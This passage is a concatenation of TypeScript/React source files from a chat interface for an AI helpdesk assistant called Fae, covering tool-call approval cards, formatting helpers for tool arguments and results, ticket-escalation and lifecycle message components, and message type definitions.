expanded })\n  const result = execution?.status === \"done\" ? execution.result : undefined\n  const hasExpandableBody = args.length > 0 || (typeof result === \"string\" && result.length > 0)\n\n  return (\n    <div className=\"bg-ods-card flex flex-col items-start w-full border-b border-ods-border last:border-b-0\">\n      <button\n        type=\"button\"\n        onClick={onToggle}\n        className=\"flex gap-[var(--spacing-system-xsf)] items-start w-full p-[var(--spacing-system-sf)] cursor-pointer text-left\"\n      >\n        <div className=\"flex items-center justify-center shrink-0 w-5 h-5\">\n          <ToolIcon toolType={toolType} size={16} />\n        </div>\n        <div\n          className={cn(\n            \"flex-1 min-w-0 text-h6\",\n            expanded\n              ? \"text-ods-text-primary whitespace-pre-wrap break-all\"\n              : \"text-ods-text-secondary line-clamp-2 max-h-10 break-all\",\n          )}\n        >\n          {command}\n        </div>\n        {showExecutionStatus && (\n          <div className=\"flex items-center justify-center shrink-0 w-5 h-5\">\n            <ExecutionStatusIcon batchStatus={batchStatus} execution={execution} />\n          </div>\n        )}\n        <div className=\"flex items-center justify-center shrink-0 w-5 h-5\">\n          <ExpandChevron expanded={expanded} />\n        </div>\n      </button>\n\n      <div className=\"w-full\" style={containerStyle}>\n        <div ref={innerRef}>\n          {hasExpandableBody && (\n            <div className=\"flex flex-col gap-0 items-start w-full text-h6 px-[var(--spacing-system-sf)] pb-[var(--spacing-system-sf)] bg-ods-card\">\n              {args.map(([key, value]) => (\n                <ArgRow key={key} argKey={key} value={value} />\n              ))}\n              {result && (\n                <ResultBlock\n                  result={result}\n                  className={args.length > 0 ? \"mt-[var(--spacing-system-xsf)]\" : undefined}\n                />\n              )}\n            </div>\n          )}\n        </div>\n      </div>\n    </div>\n  )\n}\n\nconst ApprovalBatchMessage = forwardRef<HTMLDivElement, ApprovalBatchMessageProps>(\n  ({ className, data, onApprove, onReject, status = \"pending\", maxBodyHeight, resolvedByName, showExecutionStatus = true, assistantType: _assistantType, variant = \"admin\", showFooterActions = true, ...props }, ref) => {\n    const [expandedId, setExpandedId] = useState<string | null>(null)\n    const [isProcessing, setIsProcessing] = useState(false)\n    const isClient = variant === \"client\"\n\n    const explanations = data.toolCalls\n      .map((c) => c.toolExplanation?.trim())\n      .filter((s): s is string => !!s)\n\n    const handleApprove = async () => {\n      setIsProcessing(true)\n      try {\n        await onApprove?.(data.approvalRequestId)\n      } finally {\n        setIsProcessing(false)\n      }\n    }\n\n    const handleReject = async () => {\n      setIsProcessing(true)\n      try {\n        await onReject?.(data.approvalRequestId)\n      } finally {\n        setIsProcessing(false)\n      }\n    }\n\n    const actionButtons = (\n      <>\n        <Button\n          size=\"small-legacy\"\n          variant=\"accent\"\n          onClick={handleApprove}\n          disabled={isProcessing}\n          className={cn(\n            \"bg-ods-accent hover:bg-ods-accent/90\",\n            \"text-h5 text-ods-bg\",\n            \"px-[var(--spacing-system-xsf)] h-8\",\n          )}\n        >\n          Approve\n        </Button>\n        <Button\n          size=\"small-legacy\"\n          variant=\"outline\"\n          onClick={handleReject}\n          disabled={isProcessing}\n          className={cn(\n            \"bg-ods-card border-ods-border\",\n            \"text-h5 text-ods-text-primary\",\n            \"hover:bg-ods-bg px-[var(--spacing-system-xsf)] h-8\",\n          )}\n        >\n          Reject\n        </Button>\n      </>\n    )\n\n    // CLIENT (Fae end-user) card — Figma 203-11947 \"fae-approval-block\".\n    // One bordered card: BE-generated title(s) + Approve/Reject buttons or the\n    // full-text resolved pill (\"Approved by {name}\"). No commands, scripts,\n    // expansion or execution icons — the end client must not see them.\n    if (isClient) {\n      const titles = data.toolCalls\n        .map((c) => c.toolExplanation?.trim() || c.toolTitle?.trim())\n        .filter((s): s is string => !!s)\n      return (\n        <div\n          ref={ref}\n          className={cn(\n            \"bg-ods-card border border-ods-border rounded-md p-[var(--spacing-system-mf)] mb-[var(--spacing-system-xsf)] flex flex-col gap-[var(--spacing-system-mf)]\",\n            className,\n          )}\n          {...props}\n        >\n          {titles.length > 0 ? (\n            titles.map((title, i) => (\n              <p key={i} className=\"text-h4 text-ods-text-primary whitespace-pre-line break-words w-full\">\n                {title}\n              </p>\n            ))\n          ) : (\n            <p className=\"text-h4 text-ods-text-primary w-full\">Approval required</p>\n          )}\n          {showFooterActions && (status === \"pending\" ? (\n            <div className=\"flex gap-[var(--spacing-system-mf)] items-center w-full\">\n              {actionButtons}\n            </div>\n          ) : (\n            <div className=\"flex w-full\">\n              <ApprovalStatusTag status={status} resolvedByName={resolvedByName} inlineResolver />\n            </div>\n          ))}\n        </div>\n      )\n    }\n\n    const showFooterBlock = explanations.length > 0 || showFooterActions\n\n    return (\n      <div\n        ref={ref}\n        className={cn(\n          \"flex flex-col mb-[var(--spacing-system-xsf)]\",\n          \"bg-ods-card border border-ods-border rounded-md overflow-hidden\",\n          className,\n        )}\n        {...props}\n      >\n        <div\n          className={cn(\n            \"flex flex-col\",\n            maxBodyHeight != null && \"overflow-y-auto overscroll-contain\",\n          )}\n          style={maxBodyHeight != null ? { maxHeight: maxBodyHeight } : undefined}\n        >\n          {data.toolCalls.map((call) => (\n            <ToolCallRow\n              key={call.toolExecutionRequestId}\n              call={call}\n              expanded={expandedId === call.toolExecutionRequestId}\n              onToggle={() =>\n                setExpandedId((prev) =>\n                  prev === call.toolExecutionRequestId ? null : call.toolExecutionRequestId,\n                )\n              }\n              batchStatus={status}\n              execution={data.executions?.[call.toolExecutionRequestId]}\n              showExecutionStatus={showExecutionStatus}\n            />\n          ))}\n        </div>\n\n        {showFooterBlock && (\n          <div className=\"flex flex-col gap-[var(--spacing-system-xsf)] items-start justify-center bg-ods-card border-t border-ods-border p-[var(--spacing-system-sf)]\">\n            {explanations.length > 0 && (\n              <ul className=\"list-disc pl-5 text-h6 text-ods-text-primary w-full\">\n                {explanations.map((expl, i) => (\n                  <li key={i}>{expl}</li>\n                ))}\n              </ul>\n            )}\n\n            {showFooterActions && (status === \"pending\" ? (\n              <div className=\"flex gap-[var(--spacing-system-xsf)] items-center\">\n                {actionButtons}\n              </div>\n            ) : (\n              <div className=\"flex items-center gap-[var(--spacing-system-xsf)]\">\n                <ApprovalStatusTag status={status} resolvedByName={resolvedByName} />\n                {resolvedByName && (\n                  <span className=\"text-h6 text-ods-text-secondary\">by {resolvedByName}</span>\n                )}\n              </div>\n            ))}\n          </div>\n        )}\n      </div>\n    )\n  },\n)\n\nApprovalBatchMessage.displayName = \"ApprovalBatchMessage\"\n\nexport { ApprovalBatchMessage }\n","\"use client\"\n\nimport { cn } from \"../../utils/cn\"\nimport { Chevron02DownIcon } from \"../icons-v2-generated\"\n\ninterface ExpandChevronProps {\n  expanded: boolean\n  className?: string\n}\n\nexport function ExpandChevron({ expanded, className }: ExpandChevronProps) {\n  return (\n    <Chevron02DownIcon\n      className={cn(\n        \"w-4 h-4 text-ods-text-secondary shrink-0 transition-transform duration-200\",\n        expanded && \"rotate-180\",\n        className\n      )}\n    />\n  )\n}\n","\"use client\"\n\nimport { type CSSProperties, useLayoutEffect, useState } from \"react\"\n\ninterface UseCollapsibleOptions {\n  expanded: boolean\n  collapsedHeight?: number | \"1lh\"\n  disableTransition?: boolean\n  durationMs?: number\n}\n\nexport function useCollapsible({\n  expanded,\n  collapsedHeight = 0,\n  disableTransition = false,\n  durationMs = 200,\n}: UseCollapsibleOptions) {\n  const [element, setElement] = useState<HTMLDivElement | null>(null)\n  const [contentHeight, setContentHeight] = useState(0)\n  const [collapsedPx, setCollapsedPx] = useState(0)\n\n  useLayoutEffect(() => {\n    if (!element) return\n    const measure = () => {\n      setContentHeight(element.scrollHeight)\n      setCollapsedPx(\n        collapsedHeight === \"1lh\"\n          ? parseFloat(getComputedStyle(element).lineHeight)\n          : collapsedHeight\n      )\n    }\n    measure()\n    const observer = new ResizeObserver(measure)\n    observer.observe(element)\n    return () => observer.disconnect()\n  }, [element, collapsedHeight])\n\n  // When the caller asks for `\"1lh\"`, fall back to a measured pixel value\n  // (inner element's line-height) as soon as it's available. Setting\n  // `max-height: 1lh` via CSS resolves against the OUTER element's\n  // line-height, which can differ from the inner content's line-height and\n  // leak the top of the next block element past the clip line. The measured\n  // pixel value matches the inner content exactly.\n  const collapsedValue: number | string =\n    collapsedHeight === \"1lh\" ? collapsedPx || collapsedHeight : collapsedHeight\n\n  const containerStyle: CSSProperties = {\n    overflow: \"hidden\",\n    maxHeight: expanded ? contentHeight : collapsedValue,\n    transition: disableTransition ? \"none\" : `max-height ${durationMs}ms ease-in-out`,\n  }\n\n  return {\n    innerRef: setElement,\n    isOverflowing: contentHeight > collapsedPx,\n    containerStyle,\n  }\n}\n","\"use client\"\n\nimport { cn } from \"../../utils/cn\"\nimport { formatToolArgValue, formatToolResult } from \"./utils/tool-call-helpers\"\n\n/**\n * Monospace code body shared by ArgRow / ResultBlock.\n *\n * Uses the ODS `text-code` composite token (Azeret Mono 500, h6 responsive\n * scale, no transform) — the token this file was originally flagged for.\n */\nconst CODE_PRE_CLASS =\n  \"bg-ods-bg border border-ods-border rounded-md p-[var(--spacing-system-sf)] w-full max-h-64 overflow-auto overscroll-contain text-code text-ods-text-primary whitespace-pre\"\n\n/**\n * Single arg row: inline `key: value` or labeled `<pre>` block.\n * Shared between ApprovalBatchMessage and ToolExecutionDisplay so both\n * surfaces render long script bodies / JSON the same way.\n */\nexport function ArgRow({ argKey, value }: { argKey: string; value: unknown }) {\n  const formatted = formatToolArgValue(value)\n\n  if (formatted.kind === \"inline\") {\n    return (\n      <div className=\"flex gap-[var(--spacing-system-xxs)] items-start w-full\">\n        <span className=\"shrink-0 text-ods-text-secondary\">{argKey}:</span>\n        <span className=\"flex-1 min-w-0 text-ods-text-primary break-all\">{formatted.text}</span>\n      </div>\n    )\n  }\n\n  return (\n    <div className=\"flex flex-col gap-[var(--spacing-system-xxs)] items-start w-full\">\n      <span className=\"text-ods-text-secondary\">{argKey}:</span>\n      <pre className={CODE_PRE_CLASS}>\n        <code>{formatted.text}</code>\n      </pre>\n    </div>\n  )\n}\n\n/**\n * Result block for a tool execution. Renders inline for short single-line\n * output and as a scrollable `<pre>` for code / JSON / multiline output.\n */\nexport function ResultBlock({ result, className }: { result: string | undefined | null; className?: string }) {\n  const formatted = formatToolResult(result)\n  if (!formatted.text) return null\n\n  if (formatted.kind === \"inline\") {\n    return (\n      <div className={cn(\"flex flex-col gap-[var(--spacing-system-xxs)] items-start w-full\", className)}>\n        <span className=\"text-ods-text-secondary\">Result:</span>\n        <span className=\"text-ods-text-primary break-all\">{formatted.text}</span>\n      </div>\n    )\n  }\n\n  return (\n    <div className={cn(\"flex flex-col gap-[var(--spacing-system-xxs)] items-start w-full\", className)}>\n      <span className=\"text-ods-text-secondary\">Result:</span>\n      <pre className={CODE_PRE_CLASS}>\n        <code>{formatted.text}</code>\n      </pre>\n    </div>\n  )\n}\n\n/**\n * Raw command/script body as an unlabeled code block. Used by the CLIENT (Fae)\n * card in the expanded state, where the collapsed line shows the human-readable\n * `toolExplanation` and the actual command moves into the body (Figma 1972-6100).\n */\nexport function CommandBlock({ command, className }: { command: string; className?: string }) {\n  if (!command) return null\n  return (\n    <pre className={cn(CODE_PRE_CLASS, className)}>\n      <code>{command}</code>\n    </pre>\n  )\n}\n","import type { PendingToolCallData } from '../types'\n\n/**\n * Keys in `toolCallArguments` whose value is the actual command/query/script\n * body — anything that should be rendered as the tool's \"title\" line in the\n * approval card. Order matters: first match wins.\n */\nexport const COMMAND_BODY_ARG_KEYS = ['command', 'query', 'script', 'scriptContent', 'code'] as const\n\n/**\n * Resolve the human-readable title/preview line for a tool call.\n * Order: command/query/script/scriptContent/code arg → title → name → fallback.\n *\n * Shape-agnostic so both the approval card (`PendingToolCallData`:\n * `toolCallArguments`/`toolName`) and the execution card (`ToolExecutionData`:\n * `parameters`/`toolFunction`) can share one source of truth.\n */\nexport function getToolCallTitle(opts: {\n  args?: Record<string, unknown> | null\n  title?: string | null\n  name?: string | null\n}): string {\n  const { args, title, name } = opts\n  if (args && typeof args === 'object') {\n    for (const key of COMMAND_BODY_ARG_KEYS) {\n      const candidate = args[key]\n      if (typeof candidate === 'string' && candidate.trim()) return candidate\n    }\n  }\n  return title || name || 'Tool call'\n}\n\n/**\n * Extract a human-readable command string from a batch tool call.\n * Thin adapter over {@link getToolCallTitle}.\n */\nexport function getCommandText(call: PendingToolCallData): string {\n  return getToolCallTitle({\n    args: call.toolCallArguments,\n    title: call.toolTitle,\n    name: call.toolName,\n  })\n}\n\n/**\n * The raw command/query/script body only (first {@link COMMAND_BODY_ARG_KEYS}\n * match), with no title/name fallback. Used by the CLIENT (Fae) card to show\n * the command in the expanded body once the collapsed line switches to the\n * human-readable `toolExplanation`.\n */\nexport function getCommandBody(args?: Record<string, unknown> | null): string | undefined {\n  if (args && typeof args === 'object') {\n    for (const key of COMMAND_BODY_ARG_KEYS) {\n      const candidate = args[key]\n      if (typeof candidate === 'string' && candidate.trim()) return candidate\n    }\n  }\n  return undefined\n}\n\nexport type FormattedArgValue =\n  | { kind: 'inline'; text: string }\n  | { kind: 'block'; text: string; language: 'json' | 'text' }\n\nconst INLINE_STRING_MAX = 80\n\n/**\n * Pretty-print like `JSON.stringify(value, null, 2)`, but render multi-line\n * string values across real lines instead of escaped `\\n` sequences.\n *\n * Trade-off: the output is optimised for human reading, not for being\n * re-parsed as JSON (multi-line string bodies lose their surrounding quotes\n * and escaping). Single-line strings keep normal JSON quoting/escaping.\n *\n * `indent` is the nesting level of this value's content lines / closing\n * bracket (matching the 2-space step of `JSON.stringify(_, null, 2)`).\n */\nfunction expandJson(value: unknown, indent: number): string {\n  const pad = (n: number) => '  '.repeat(n)\n\n  if (value === null) return 'null'\n  const t = typeof value\n  if (t === 'number' || t === 'boolean' || t === 'bigint') return String(value)\n\n  if (t === 'string') {\n    const s = (value as string).replace(/\\r\\n/g, '\\n').replace(/\\r/g, '\\n')\n    if (!s.includes('\\n')) return JSON.stringify(s)\n    return s\n      .replace(/^\\n+/, '')\n      .replace(/\\n+$/, '')\n      .split('\\n')\n      .map((line) => pad(indent) + line)\n      .join('\\n')\n  }\n\n  if (Array.isArray(value)) {\n    if (value.length === 0) return '[]'\n    const items = value.map((v) =>\n      typeof v === 'string' && /[\\r\\n]/.test(v)\n        ? expandJson(v, indent + 1)\n        : pad(indent + 1) + expandJson(v, indent + 1),\n    )\n    return '[\\n' + items.join(',\\n') + '\\n' + pad(indent) + ']'\n  }\n\n  if (t === 'object') {\n    const entries = Object.entries(value as Record<string, unknown>)\n    if (entries.length === 0) return '{}'\n    const items = entries.map(([k, v]) => {\n      const key = JSON.stringify(k)\n      if (typeof v === 'string' && /[\\r\\n]/.test(v)) {\n        return pad(indent + 1) + key + ':\\n' + expandJson(v, indent + 2)\n      }\n      return pad(indent + 1) + key + ': ' + expandJson(v, indent + 1)\n    })\n    return '{\\n' + items.join(',\\n') + '\\n' + pad(indent) + '}'\n  }\n\n  return JSON.stringify(value)\n}\n\n/**\n * Entry point for {@link expandJson}: readable pretty-print where multi-line\n * string fields (script bodies, command output, …) are shown with real line\n * breaks instead of literal `\\n`.\n */\nexport function expandedJsonStringify(value: unknown): string {\n  try {\n    return expandJson(value, 0)\n  } catch {\n    return String(value)\n  }\n}\n\n/**\n * Decide how to render a single `toolCallArguments` value:\n *  - objects/arrays → pretty-printed JSON block\n *  - strings that parse as JSON → pretty-printed JSON block\n *  - multi-line or long strings → preserved-whitespace text block\n *  - everything else → inline single line\n */\nexport function formatToolArgValue(value: unknown): FormattedArgValue {\n  if (value === null || value === undefined) return { kind: 'inline', text: '' }\n\n  if (typeof value === 'object') {\n    return { kind: 'block', text: safeStringify(value), language: 'json' }\n  }\n\n  if (typeof value === 'string') {\n    const trimmed = value.trim()\n    if (\n      (trimmed.startsWith('{') && trimmed.endsWith('}')) ||\n      (trimmed.startsWith('[') && trimmed.endsWith(']'))\n    ) {\n      try {\n        return { kind: 'block', text: expandedJsonStringify(JSON.parse(trimmed)), language: 'json' }\n      } catch {\n        // not valid JSON — fall through\n      }\n    }\n    if (value.includes('\\n') || value.length > INLINE_STRING_MAX) {\n      return { kind: 'block', text: value, language: 'text' }\n    }\n    return { kind: 'inline', text: value }\n  }\n\n  return { kind: 'inline', text: String(value) }\n}\n\nfunction safeStringify(value: unknown): string {\n  return expandedJsonStringify(value)\n}\n\n/**\n * Decide how to render a tool execution `result` string.\n *  - Strips a single surrounding markdown code fence (``` … ```), since the\n *    backend often wraps Bash/PowerShell output that way.\n *  - If the body parses as JSON, returns a pretty-printed JSON block.\n *  - If the body is multi-line / long, returns a preserved-whitespace block.\n *  - Otherwise inline.\n */\nexport function formatToolResult(value: string | undefined | null): FormattedArgValue {\n  if (typeof value !== 'string') return { kind: 'inline', text: '' }\n\n  const fenced = value.match(/^\\s*```(?:[a-zA-Z0-9_-]*)\\n([\\s\\S]*?)\\n```\\s*$/)\n  const body = fenced ? fenced[1] : value\n  const trimmed = body.trim()\n\n  if (\n    (trimmed.startsWith('{') && trimmed.endsWith('}')) ||\n    (trimmed.startsWith('[') && trimmed.endsWith(']'))\n  ) {\n    try {\n      return { kind: 'block', text: expandedJsonStringify(JSON.parse(trimmed)), language: 'json' }\n    } catch {\n      // fall through\n    }\n  }\n\n  if (body.includes('\\n') || body.length > INLINE_STRING_MAX) {\n    return { kind: 'block', text: body, language: 'text' }\n  }\n  return { kind: 'inline', text: body }\n}\n","\"use client\"\n\nimport { forwardRef, type HTMLAttributes } from \"react\"\nimport { cn } from \"../../utils/cn\"\nimport { ApprovalRequestMessage } from \"./approval-request-message\"\nimport type { EscalationOfferSegment } from \"./types/message.types\"\n\nexport interface EscalationOfferMessageProps extends HTMLAttributes<HTMLDivElement> {\n  data: EscalationOfferSegment['data']\n  status?: EscalationOfferSegment['status']\n  resolvedByName?: string | null\n  onApprove?: EscalationOfferSegment['onApprove']\n  onReject?: EscalationOfferSegment['onReject']\n}\n\n/**\n * Ticket-escalation offer block.\n *\n * Renders THROUGH the client approval card rather than reimplementing it:\n * per Figma (fae chat › \"escalation to admin\") the offer is that exact\n * component, down to the Approve/Reject labels and the resolved\n * \"Approved by {name}\" pill. Only the wiring differs — approve/reject call\n * the ticket-escalation mutations, never the tool-approval endpoint — which\n * is why this is a distinct segment type with its own handlers.\n *\n * The handoff receipt that follows an approval is NOT rendered here: it is its\n * own `TICKET_ESCALATED` block on the wire, which also covers the inactivity\n * auto-escalation — a path that raises no offer to infer from.\n */\nconst EscalationOfferMessage = forwardRef<HTMLDivElement, EscalationOfferMessageProps>(\n  ({ className, data, status = 'pending', resolvedByName, onApprove, onReject, ...props }, ref) => (\n    <div ref={ref} className={cn(\"flex flex-col\", className)} {...props}>\n      <ApprovalRequestMessage\n        variant=\"client\"\n        // Only the client may resolve an offer — the backend rejects every\n        // other actor — so a viewer without BOTH handlers wired (the admin\n        // ticket view) sees the prompt read-only rather than dead buttons. The\n        // card renders Approve and Reject as a pair, so one handler is not a\n        // usable state. A resolved offer still shows its pill for everyone.\n        showFooterActions={(!!onApprove && !!onReject) || status !== 'pending'}\n        // The client card renders `explanation` as its body and never shows\n        // `command`; the offer's whole payload is that one backend-fixed line.\n        data={{ command: '', explanation: data.text, requestId: data.offerId }}\n        status={status}\n        resolvedByName={resolvedByName}\n        onApprove={onApprove}\n        onReject={onReject}\n      />\n    </div>\n  )\n)\n\nEscalationOfferMessage.displayName = \"EscalationOfferMessage\"\n\nexport { EscalationOfferMessage }\n","\"use client\"\n\nimport { forwardRef, type HTMLAttributes } from \"react\"\nimport { InfoCircleIcon } from \"../icons-v2-generated\"\nimport { AiAssistantInfo } from \"./ai-assistant-info\"\nimport type { TicketEscalatedSegment } from \"./types/message.types\"\n\nconst TITLE = \"Handed Off to a Technician\"\n\n/** Shown when the wire omits `text` (the field is nullable). */\nconst DEFAULT_BODY = \"A technician will reply when available.\"\n\nexport interface TicketEscalatedMessageProps extends HTMLAttributes<HTMLDivElement> {\n  data: TicketEscalatedSegment['data']\n  /** Timestamp of the message row this block came in on. */\n  timestamp?: Date\n}\n\n/**\n * Handoff receipt — the conversation now belongs to a human technician.\n * Figma `ai-assistant-info` (type=escalation); chrome and the wrapping/\n * truncation trade-offs live in the shared `AiAssistantInfo` shell.\n *\n * The body is whatever the backend authored, so the reason it gives stays\n * server-side; the client never composes an explanation and never branches on\n * `data.reason`, which is why a reason added server-side needs no change here.\n */\nconst TicketEscalatedMessage = forwardRef<HTMLDivElement, TicketEscalatedMessageProps>(\n  ({ data, timestamp, ...props }, ref) => {\n    const body = data.text?.trim() || DEFAULT_BODY\n    return (\n      <AiAssistantInfo\n        ref={ref}\n        icon={<InfoCircleIcon className=\"size-6 text-ods-flamingo-pink\" />}\n        title={TITLE}\n        body={body}\n        timestamp={timestamp}\n        {...props}\n      />\n    )\n  },\n)\n\nTicketEscalatedMessage.displayName = \"TicketEscalatedMessage\"\n\nexport { TicketEscalatedMessage }\n","\"use client\"\n\nimport { forwardRef, type HTMLAttributes, type ReactNode } from \"react\"\nimport { cn } from \"../../utils/cn\"\nimport { formatTime } from \"../../utils/format-date\"\n\nexport interface AiAssistantInfoProps extends HTMLAttributes<HTMLDivElement> {\n  /** Rendered inside the standard 48px framed box (typically a 24px icon). */\n  icon?: ReactNode\n  /** Replaces the framed icon box entirely (e.g. a round 48px avatar for the\n   *  `direct-chat` variant). Wins over `icon` when both are set. */\n  leading?: ReactNode\n  title: string\n  /** Secondary line under the title. Omitted → the row is title-only. */\n  body?: ReactNode\n  /** Timestamp of the message row this block came in on. */\n  timestamp?: Date\n}\n\n/**\n * Figma `ai-assistant-info` — the shared in-thread status card: a framed\n * icon (or avatar), a title with a right-aligned time, and a secondary line.\n * One presentational shell for every lifecycle receipt in a chat thread\n * (handoff, technician joined, ticket resolved/reopened, …); the per-event\n * components (`TicketEscalatedMessage`, `TicketEventMessage`) own the copy\n * and icon choice and delegate the chrome here.\n *\n * The body WRAPS, deliberately diverging from the mock's single-line\n * ellipsis: the mock's 72px comes from its placeholder copy fitting one\n * line, while real wire text is a full sentence, and clipping the only\n * explanation of a lifecycle change is not recoverable on touch. The title\n * still truncates — it holds one line so the timestamp is never pushed out\n * of the row at narrow widths.\n */\nconst AiAssistantInfo = forwardRef<HTMLDivElement, AiAssistantInfoProps>(\n  ({ className, icon, leading, title, body, timestamp, ...props }, ref) => {\n    return (\n      <div\n        ref={ref}\n        className={cn(\n          \"mb-[var(--spacing-system-xsf)] flex items-start gap-[var(--spacing-system-s)] rounded-md border border-ods-border bg-ods-card p-[var(--spacing-system-s)]\",\n          className,\n        )}\n        {...props}\n      >\n        {leading ?? (\n          <div className=\"flex size-12 shrink-0 items-center justify-center rounded-md border border-ods-border bg-ods-bg\">\n            {icon}\n          </div>\n        )}\n        <div className=\"flex min-w-0 flex-1 flex-col\">\n          <div className=\"flex w-full items-start\">\n            <p className=\"text-h4 min-w-0 flex-1 truncate text-ods-text-primary\" title={title}>\n              {title}\n            </p>\n            {timestamp && (\n              <span className=\"text-h6 shrink-0 text-right text-ods-text-secondary\">{formatTime(timestamp)}</span>\n            )}\n          </div>\n          {body != null && body !== \"\" && (\n            <p className=\"text-h4 w-full break-words text-ods-text-secondary\">{body}</p>\n          )}\n        </div>\n      </div>\n    )\n  },\n)\n\nAiAssistantInfo.displayName = \"AiAssistantInfo\"\n\nexport { AiAssistantInfo }\n","// Locale-aware date/time formatters — mirrors openframe-frontend\n// `src/lib/format-date.ts`. Formats follow the user's locale\n// (e.g. MM/DD/YYYY in en-US vs DD.MM.YYYY in european locales).\n\ntype DateInput = string | number | Date;\n\nconst toDate = (input: DateInput): Date => (input instanceof Date ? input : new Date(input));\n\n// Shown when the input is missing or unparseable. `Intl.DateTimeFormat.format`\n// throws `RangeError: Invalid time value` on an invalid Date, so every formatter\n// here guards first — callers can pass raw API values without a per-call check.\nconst INVALID_DATE_PLACEHOLDER = '—';\n\nconst dateFmt = new Intl.DateTimeFormat(undefined, { dateStyle: 'short' });\nconst timeFmt = new Intl.DateTimeFormat(undefined, { timeStyle: 'short' });\n\nconst format = (input: DateInput, fmt: Intl.DateTimeFormat): string => {\n  const date = toDate(input);\n  return Number.isNaN(date.getTime()) ? INVALID_DATE_PLACEHOLDER : fmt.format(date);\n};\n\nexport const formatDate = (input: DateInput): string => format(input, dateFmt);\n\nexport const formatTime = (input: DateInput): string => format(input, timeFmt);\n","\"use client\"\n\nimport { forwardRef, type HTMLAttributes } from \"react\"\nimport { CheckCircleIcon, InfoCircleIcon } from \"../icons-v2-generated\"\nimport { AiAssistantInfo } from \"./ai-assistant-info\"\nimport { TICKET_EVENT_KIND, type TicketEventSegment } from \"./types/message.types\"\n\n/** Actor types the backend uses for the AI agent. Open set on the wire —\n *  compared case-insensitively; anything else is treated as a human. */\nconst AI_ACTOR_TYPES = new Set([\"AI\", \"AGENT\", \"ASSISTANT\", \"BOT\"])\n\nfunction isAiActor(actorType?: string): boolean {\n  return !!actorType && AI_ACTOR_TYPES.has(actorType.toUpperCase())\n}\n\n/** `TICKET_ON_HOLD` → `Ticket On Hold` — neutral title for kinds this build\n *  does not know, which must still render (the vocabulary is open). */\nfunction humanizeKind(kind: string): string {\n  return kind\n    .split(/[_\\s-]+/)\n    .filter(Boolean)\n    .map((word) => word.charAt(0).toUpperCase() + word.slice(1).toLowerCase())\n    .join(\" \")\n}\n\nexport interface TicketEventMessageProps extends HTMLAttributes<HTMLDivElement> {\n  data: TicketEventSegment['data']\n  /** Timestamp of the message row this block came in on. */\n  timestamp?: Date\n}\n\n/** Where the ticket reopened INTO → the \"who picks it up next\" line.\n *  Kind-tokens per the lifecycle statuses; the vocabulary is open, so an\n *  unrecognized target falls back to the actor heuristic below. */\nconst REOPEN_TARGET_COPY: Record<string, string> = {\n  AI_ASSISTANCE: \"The AI assistant will continue helping you in this conversation.\",\n  TECH_REQUIRED: \"A technician will reply when available.\",\n}\n\n/**\n * Ticket lifecycle receipt — resolved / reopened / an unknown future kind.\n * Figma `ai-assistant-info` (type=resolved-fae | resolved-tech |\n * reopened-fae | reopened-tech | reopened-reason).\n *\n * Copy is composed client-side from the event's fields (unlike\n * `ticket_escalated`, whose body the backend authors):\n *   RESOLVED → \"Resolved by {actorName}.\" under a green check;\n *   REOPENED → the reason when the wire carries one; otherwise who picks the\n *     conversation up next — `targetStatusKind` decides deterministically,\n *     with the `actorType` heuristic as the fallback for older backends\n *     that don't send the target;\n *   unknown kind → a neutral info line: humanized kind as the title, the\n *     reason or actor as the body. Never dropped — the vocabulary is open.\n */\nconst TicketEventMessage = forwardRef<HTMLDivElement, TicketEventMessageProps>(\n  ({ data, timestamp, ...props }, ref) => {\n    const { kind, actorName, actorType, reason, targetStatusKind } = data\n    const resolved = kind === TICKET_EVENT_KIND.RESOLVED\n    const reopened = kind === TICKET_EVENT_KIND.REOPENED\n\n    const title = resolved ? \"Ticket Resolved\" : reopened ? \"Ticket Reopened\" : humanizeKind(kind)\n\n    let body: string | undefined\n    if (resolved) {\n      body = actorName ? `Resolved by ${actorName}.` : \"The ticket has been resolved.\"\n    } else if (reopened) {\n      body =\n        (reason ? `Reason: ${reason}` : undefined) ??\n        (targetStatusKind ? REOPEN_TARGET_COPY[targetStatusKind] : undefined) ??\n        (isAiActor(actorType)\n          ? `${actorName || \"Fae\"} will continue assisting in this conversation.`\n          : \"A technician will reply when available.\")\n    } else {\n      body = reason || (actorName ? `By ${actorName}.` : undefined)\n    }\n\n    const icon = resolved ? (\n      <CheckCircleIcon className=\"size-6 text-ods-attention-green-success\" />\n    ) : (\n      <InfoCircleIcon className=\"size-6 text-ods-flamingo-pink\" />\n    )\n\n    return <AiAssistantInfo ref={ref} icon={icon} title={title} body={body} timestamp={timestamp} {...props} />\n  },\n)\n\nTicketEventMessage.displayName = \"TicketEventMessage\"\n\nexport { TicketEventMessage }\n","/**\n * Message-related types\n * Contains all message structures, segments, and content types\n */\n\nimport type { AssistantType, AuthorType, ChatApprovalStatus, MessageOwner } from './chat.types'\n\n// ========== Message Type Definitions ==========\n\nexport const MESSAGE_TYPE = {\n  TEXT: 'TEXT',\n  THINKING: 'THINKING',\n  GUIDE: 'GUIDE',\n  ASK: 'ASK',\n  EXECUTING_TOOL: 'EXECUTING_TOOL',\n  EXECUTED_TOOL: 'EXECUTED_TOOL',\n  APPROVAL_REQUEST: 'APPROVAL_REQUEST',\n  APPROVAL_RESULT: 'APPROVAL_RESULT',\n  ESCALATION_OFFER: 'ESCALATION_OFFER',\n  TICKET_ESCALATED: 'TICKET_ESCALATED',\n  TICKET_EVENT: 'TICKET_EVENT',\n  ERROR: 'ERROR',\n  MESSAGE_START: 'MESSAGE_START',\n  MESSAGE_END: 'MESSAGE_END',\n  MESSAGE_REQUEST: 'MESSAGE_REQUEST',\n  AI_METADATA: 'AI_METADATA',\n  TOKEN_USAGE: 'TOKEN_USAGE',\n  CONTEXT_COMPACTION_START: 'CONTEXT_COMPACTION_START',\n  CONTEXT_COMPACTION_END: 'CONTEXT_COMPACTION_END',\n  DIRECT_MESSAGE: 'DIRECT_MESSAGE',\n  SYSTEM: 'SYSTEM',\n  DIALOG_CLOSED: 'DIALOG_CLOSED',\n} as const\n\nexport type MessageType = typeof MESSAGE_TYPE[keyof typeof MESSAGE_TYPE]\n\n// ========== Scroll Anchor (per-message render hint) ==========\n\n/** Per-message viewport-positioning hint sent on the per-turn metadata\n *  leading frame at the START of every assistant response. The chat\n *  message-list reads it to override the default `use-stick-to-bottom`\n *  tail behaviour for a single message. Field is OPTIONAL — when omitted\n *  (or set to `'bottom'`) the chat tails as today. Only `'top'` opts in\n *  to the alternative behaviour (used by display-action answers whose\n *  body is a long article and should be read top-down). */\nexport const SCROLL_ANCHOR = { TOP: 'top', BOTTOM: 'bottom' } as const\n\nexport type ScrollAnchor = typeof SCROLL_ANCHOR[keyof 